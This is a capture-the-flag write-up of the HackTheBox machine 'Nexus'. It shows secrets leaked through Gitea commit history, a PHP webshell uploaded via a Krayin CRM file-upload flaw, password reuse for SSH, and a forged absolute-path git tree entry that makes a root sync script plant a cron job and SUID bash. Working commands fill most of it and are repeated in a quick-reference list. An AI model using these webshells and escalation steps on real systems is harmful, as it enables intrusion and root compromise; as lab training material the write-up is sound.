Back to blog
← Back to posts

English  ·  Ελληνικά

HTB: Nexus

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Nexus is a chain of small leaks that add up. A vhost sweep turns up a Gitea instance and a Krayin CRM billing portal. Gitea hosts a krayin-docker-setup repo whose first commit still contains a password in .env — reused for the CRM admin. Krayin 2.2.0 is vulnerable to CVE-2026-38526, an authenticated TinyMCE upload with no type check, so a PHP webshell lands in a web-served directory and gives www-data. A second .env on disk yields yet another reused password — SSH as jones. The root step is the interesting one: a root-run "template sync" script pulls files out of Gitea template repos and writes each blob to os.path.join(staging, filepath), where filepath is the git tree entry name. Git normally refuses ../ and leading-slash paths — but you can hand-forge a tree object whose entry name is an absolute path, and os.path.join throws away the staging prefix the moment it sees a leading /. That's an arbitrary root file-write, which becomes a cronjob and a root shell. All driven from macOS.
vhost fuzz → Gitea .env leak → Krayin CVE-2026-38526 → www-data → .env → SSH jones → git tree-path write → root

Reconnaissance

Two ports, and the web root redirects to a hostname — a hint to start fuzzing vhosts, not paths.

nmap
$ nmap -Pn -sV -p- --min-rate 2000 <IP> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http nginx 1.24.0 (Ubuntu) # redirects to http://nexus.htb/

The main site is static — the only thing of note is an email, j.matthew@nexus.htb, in a careers section. Directory brute-forcing finds nothing, so pivot to virtual-host discovery with ffuf, filtering out the default response size:

ffuf — vhost fuzzing
$ ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \ -w dns-Jhaddix.txt -fs 154 billing [Status: 302, Size: 390] git [Status: 200, Size: 14472]

Add nexus.htb, billing.nexus.htb and git.nexus.htb to /etc/hosts (or drive everything with curl -H "Host: …", which is what I did to keep things scriptable).

Gitea — a password in the first commit

git.nexus.htb is a Gitea instance with one public repo, admin/krayin-docker-setup. Gitea's API makes commit history trivial to walk without a browser:

enumerate repo + commits (API)
$ curl -s -H "Host: git.nexus.htb" \ "http://<IP>/api/v1/repos/admin/krayin-docker-setup/commits" | jq -r '.[].sha' 9b817fa4… # latest 1615c465… # initial

The .env at HEAD has an empty DB_PASSWORD — but secrets committed once don't disappear when you edit the file, they just move down the history. Fetching .env at the initial commit tells a different story:

.env at the first commit
$ curl -s -H "Host: git.nexus.htb" \ "http://<IP>/admin/krayin-docker-setup/raw/commit/1615c465…/.env" | grep -i pass DB_PASSWORD=N27xh!!2ucY04

Krayin CRM — CVE-2026-38526 → www-data

billing.nexus.htb is a Krayin CRM admin login. The email from the careers page plus the leaked password gets us in — Laravel's login just needs a valid _token pulled from the login form first:

authenticate to Krayin
$ curl -s -c cj -H "Host: billing.nexus.htb" http://<IP>/admin/login # grab _token + cookie $ curl -s -b cj -c cj -H "Host: billing.nexus.htb" -D - -o /dev/null \ --data-urlencode "_token=$TOKEN" \ --data-urlencode "email=j.matthew@nexus.htb" \ --data-urlencode "password=N27xh!!2ucY04" http://<IP>/admin/login HTTP/1.1 302 Found Location: http://billing.nexus.htb/admin/dashboard

The version (2.2.0, shown under the profile menu) is vulnerable to CVE-2026-38526 — the /admin/tinymce/upload endpoint performs no server-side type or extension validation, and writes into the web-served /storage/tinymce/. So an authenticated user can upload a .php file (spoofing an image MIME to look normal) and then execute it with a plain GET. Rather than the public PoC's reverse shell, I uploaded a small scriptable webshell — no listener to babysit:

upload webshell → RCE
$ printf '<?php system($_GET["c"]); ?>' > sh.php $ curl -s -b cj -H "Host: billing.nexus.htb" -H "X-CSRF-TOKEN: $TOKEN" \ -F "_token=$TOKEN" -F "file=@sh.php;filename=sh.php;type=image/png" \ http://<IP>/admin/tinymce/upload {"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/1b9c0b4a….php"} $ curl -s -H "Host: billing.nexus.htb" "http://<IP>/storage/tinymce/1b9c0b4a….php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral — a second .env → SSH as jones

/etc/passwd shows a real user, jones, whose home we can't read as www-data. But the deployed app carries its own live .env, and it holds a different password from the one in git:

read the on-disk .env
$ curl -s -H "Host: billing.nexus.htb" \ "http://<IP>/storage/tinymce/1b9c0b4a….php?c=grep+PASS+/var/www/krayin/.env" DB_PASSWORD=y27xb3ha!!74GbR

Password reuse does the rest — that value is jones's SSH password. First thing in, drop an SSH key so the foothold is a stable ssh -i rather than a fragile session:

SSH + user.txt
$ sshpass -p 'y27xb3ha!!74GbR' ssh jones@<IP> \ "mkdir -p ~/.ssh; echo '$(cat key.pub)' >> ~/.ssh/authorized_keys" $ ssh -i key jones@<IP> 'id; cat ~/user.txt' uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users) [redacted — user flag]

Root — abusing git tree-entry paths in a root sync script

No sudo for jones. The lead is in /etc/systemd/system: a timer fires a root oneshot every minute.

the root timer
$ cat /etc/systemd/system/gitea-template-sync.service [Service] Type=oneshot User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py # + a .timer, every 1 min

The script (world-readable) queries Gitea for every repo marked as a template, then for each one runs git ls-tree -r HEAD on the bare repo and copies each blob into a staging directory. Here's the whole vulnerability, in three lines:

template-sync.py (excerpt)
stage_path = os.path.join(STAGING_DIR, owner, name) ... for mode, objhash, filepath in entries: # filepath = git tree-entry name target = os.path.join(stage_path, filepath) ... with open(target, 'wb') as f: # written as ROOT f.write(cat_result.stdout)

filepath is attacker-controlled — it's whatever name a tree entry carries — and it flows straight into os.path.join. The quirk that makes this fatal:

os.path.join and a leading slash
>>> os.path.join('/home/git/staging/jones/pwn', 'a/b.txt') '/home/git/staging/jones/pwn/a/b.txt' >>> os.path.join('/home/git/staging/jones/pwn', '/etc/cron.d/pwncron') '/etc/cron.d/pwncron' # absolute component discards the prefix

So if I can get a tree entry whose name is /etc/cron.d/pwncron, the root process writes my file straight into /etc/cron.d. The blocker is that Git's plumbing (and Gitea's push checks) reject ../ and leading-slash pathnames the normal way. The way through is to forge the git objects by hand — build a raw tree object whose entry name is the absolute path, using hash-object --literally, which skips the sanity checks:

forge the malicious tree + commit
# payload the root cron will run: SUID-copy bash $ printf '* * * * * root /tmp/.copybash.sh\n' > cronfile $ BLOB=$(git hash-object -w --stdin < cronfile) # a tree entry: mode 100644, NAME = an absolute path, pointing at that blob $ PH=$(echo -n "$BLOB" | xxd -r -p) # 20 raw bytes of the hash $ TREE=$(printf '100644 /etc/cron.d/pwncron\0%s' "$PH" \ | git hash-object -w -t tree --literally --stdin) $ COMMIT=$(git commit-tree "$TREE" -m pwn) $ git update-ref refs/heads/main "$COMMIT"; git ls-tree -r HEAD 100644 blob … /etc/cron.d/pwncron

Now create a repo as jones, mark it a template (that's the flag the sync script filters on), and push the forged history. The /tmp/.copybash.sh the cron references just copies bash and sets the SUID bit:

stage payload, create template repo, push
$ printf '#!/bin/bash\ncp /bin/bash /tmp/.rootbash\nchmod 4755 /tmp/.rootbash\n' \ > /tmp/.copybash.sh; chmod a+rx /tmp/.copybash.sh $ curl -su jones:$PW -X POST localhost:3000/api/v1/user/repos -d '{"name":"pwn"}' $ curl -su jones:$PW -X PATCH localhost:3000/api/v1/repos/jones/pwn -d '{"template":true}' $ git push -f http://jones:$PW@localhost:3000/jones/pwn.git main

Within a minute the root timer syncs the "template", os.path.join resolves the entry name to /etc/cron.d/pwncron, and root writes it. Cron runs the SUID copy, and bash -p keeps the root EUID:

root.txt
$ tail -2 /var/log/template-sync.log […] synced: /etc/cron.d/pwncron […] Template sync complete $ ls -l /tmp/.rootbash -rwsr-xr-x 1 root root 1446024 /tmp/.rootbash $ /tmp/.rootbash -p -c 'id; cat /root/root.txt' uid=1000(jones) gid=1000(jones) euid=0(root) [redacted — root flag]
The bug isn't os.path.join — it's trusting a filename from an untrusted source as a write target. A git tree entry name is attacker data; feeding it to a path join that a leading slash can hijack turns "sync some template files" into arbitrary root file-write. Two independent guards would each have stopped it: joining with the basename only (or rejecting absolute/.. components after the join), and running the sync as an unprivileged service account instead of root.

Why it worked

StageRoot cause
→ git .envSecret committed to version control; scrubbing HEAD leaves it in history (CWE-538 / CWE-312)
→ Krayin adminPassword reuse across the DB config and the CRM admin account (CWE-521 / CWE-798)
→ www-dataCVE-2026-38526 — unrestricted file upload, no type/extension check, into a web-served dir (CWE-434)
→ jonesAnother reused password sitting in the deployed app's .env (CWE-522)
→ rootRoot sync writes to an untrusted git tree-entry path; an absolute path escapes the staging dir (CWE-22 / CWE-250)

Operator notes — from macOS

Key commands

quick reference
# 1. vhosts → git + billing ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w dns-Jhaddix.txt -fs 154 # 2. password from the FIRST commit's .env (not HEAD) curl -s -H "Host: git.nexus.htb" "http://<IP>/admin/krayin-docker-setup/raw/commit/<first-sha>/.env" # 3. Krayin CVE-2026-38526: authed TinyMCE upload → webshell curl -b cj -H "Host: billing.nexus.htb" -H "X-CSRF-TOKEN: $T" -F "_token=$T" -F "file=@sh.php;type=image/png" http://<IP>/admin/tinymce/upload # 4. on-disk .env → SSH as jones (user.txt) curl -H "Host: billing.nexus.htb" "http://<IP>/storage/tinymce/<hash>.php?c=grep+PASS+/var/www/krayin/.env" # 5. root: forge an absolute-path git tree → root cron via template-sync BLOB=$(git hash-object -w --stdin < cronfile) TREE=$(printf '100644 /etc/cron.d/pwncron\0%s' "$(echo -n $BLOB|xxd -r -p)" | git hash-object -w -t tree --literally --stdin) git commit-tree $TREE -m x | xargs -I{} git update-ref refs/heads/main {} curl -su jones:$PW -X PATCH localhost:3000/api/v1/repos/jones/pwn -d '{"template":true}'; git push -f http://jones:$PW@localhost:3000/jones/pwn.git main /tmp/.rootbash -p -c 'cat /root/root.txt'
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗